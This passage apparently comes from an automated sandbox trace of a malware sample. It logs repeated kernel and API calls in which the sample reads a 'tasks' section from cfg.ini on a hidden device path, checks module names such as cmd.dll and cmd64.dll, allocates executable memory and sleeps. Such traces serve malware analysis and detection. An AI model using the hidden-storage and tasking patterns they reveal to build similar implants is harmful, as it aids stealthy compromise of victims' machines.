_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.257] KeEnterCriticalRegion () [0125.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.257] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bff000 [0125.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.257] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.257] IdePortDispatch () returned 0x103 [0125.257] KeWaitForMutexObject () returned 0x0 [0125.257] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.258] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.258] IdePortDispatch () returned 0x103 [0125.258] KeWaitForMutexObject () returned 0x0 [0125.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.258] KeLeaveCriticalRegion () [0125.258] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.258] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.258] KeEnterCriticalRegion () [0125.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.258] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.258] KeLeaveCriticalRegion () [0125.258] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.258] KeEnterCriticalRegion () [0125.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.258] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.258] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.258] KeLeaveCriticalRegion () [0125.259] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.259] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.259] KeEnterCriticalRegion () [0125.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.259] ExFreePoolWithTag (P=0xfffffa8003bf67b0, Tag=0x0) [0125.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.259] KeLeaveCriticalRegion () [0125.259] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.259] ReleaseMutex (hMutex=0xf0) returned 1 [0125.259] Sleep (dwMilliseconds=0x927c0) [0125.273] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.273] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.273] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.273] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.274] KeEnterCriticalRegion () [0125.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.274] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.274] IdePortDispatch () returned 0x103 [0125.274] KeWaitForMutexObject () returned 0x0 [0125.274] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.274] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.274] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.274] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.274] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.274] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6650 [0125.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.274] KeLeaveCriticalRegion () [0125.274] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.274] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.274] KeEnterCriticalRegion () [0125.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.274] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.274] KeLeaveCriticalRegion () [0125.274] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.274] KeEnterCriticalRegion () [0125.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.274] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.274] IdePortDispatch () returned 0x103 [0125.275] KeWaitForMutexObject () returned 0x0 [0125.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.275] KeLeaveCriticalRegion () [0125.275] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.275] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.275] KeEnterCriticalRegion () [0125.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.275] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c04000 [0125.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.275] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.275] IdePortDispatch () returned 0x103 [0125.275] KeWaitForMutexObject () returned 0x0 [0125.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.275] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.275] IdePortDispatch () returned 0x103 [0125.275] KeWaitForMutexObject () returned 0x0 [0125.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.275] KeLeaveCriticalRegion () [0125.275] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.276] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.276] KeEnterCriticalRegion () [0125.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.276] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.276] KeLeaveCriticalRegion () [0125.276] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.276] KeEnterCriticalRegion () [0125.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.276] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.276] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.276] KeLeaveCriticalRegion () [0125.276] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.276] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.276] KeEnterCriticalRegion () [0125.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.276] ExFreePoolWithTag (P=0xfffffa8003bf6650, Tag=0x0) [0125.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.276] KeLeaveCriticalRegion () [0125.276] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.276] ReleaseMutex (hMutex=0xf0) returned 1 [0125.276] Sleep (dwMilliseconds=0x927c0) [0125.290] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.290] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.290] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.290] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.290] KeEnterCriticalRegion () [0125.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.290] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.290] IdePortDispatch () returned 0x103 [0125.291] KeWaitForMutexObject () returned 0x0 [0125.291] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.291] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.291] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.291] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.291] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.291] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf64b0 [0125.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.291] KeLeaveCriticalRegion () [0125.291] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.291] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.291] KeEnterCriticalRegion () [0125.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.291] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.291] KeLeaveCriticalRegion () [0125.291] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.291] KeEnterCriticalRegion () [0125.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.291] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.291] IdePortDispatch () returned 0x103 [0125.291] KeWaitForMutexObject () returned 0x0 [0125.291] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.291] KeLeaveCriticalRegion () [0125.291] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.292] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.292] KeEnterCriticalRegion () [0125.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.292] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c09000 [0125.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.292] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.292] IdePortDispatch () returned 0x103 [0125.292] KeWaitForMutexObject () returned 0x0 [0125.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.292] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.292] IdePortDispatch () returned 0x103 [0125.292] KeWaitForMutexObject () returned 0x0 [0125.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.292] KeLeaveCriticalRegion () [0125.292] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.293] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.293] KeEnterCriticalRegion () [0125.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.293] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.293] KeLeaveCriticalRegion () [0125.293] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.293] KeEnterCriticalRegion () [0125.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.293] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.293] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7e70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.293] KeLeaveCriticalRegion () [0125.293] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.293] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.293] KeEnterCriticalRegion () [0125.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.293] ExFreePoolWithTag (P=0xfffffa8003bf64b0, Tag=0x0) [0125.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.293] KeLeaveCriticalRegion () [0125.293] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.293] ReleaseMutex (hMutex=0xf0) returned 1 [0125.293] Sleep (dwMilliseconds=0x927c0) [0125.308] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.308] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.308] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.308] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.308] KeEnterCriticalRegion () [0125.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.308] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.308] IdePortDispatch () returned 0x103 [0125.308] KeWaitForMutexObject () returned 0x0 [0125.308] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.309] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.309] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.309] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.309] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.309] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7db0 [0125.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.309] KeLeaveCriticalRegion () [0125.309] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.309] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.309] KeEnterCriticalRegion () [0125.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.309] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.309] KeLeaveCriticalRegion () [0125.309] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.309] KeEnterCriticalRegion () [0125.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.309] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.309] IdePortDispatch () returned 0x103 [0125.309] KeWaitForMutexObject () returned 0x0 [0125.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.309] KeLeaveCriticalRegion () [0125.309] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.309] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.309] KeEnterCriticalRegion () [0125.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.309] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0e000 [0125.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.309] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.309] IdePortDispatch () returned 0x103 [0125.310] KeWaitForMutexObject () returned 0x0 [0125.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.310] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.310] IdePortDispatch () returned 0x103 [0125.310] KeWaitForMutexObject () returned 0x0 [0125.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.310] KeLeaveCriticalRegion () [0125.310] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.310] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.310] KeEnterCriticalRegion () [0125.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 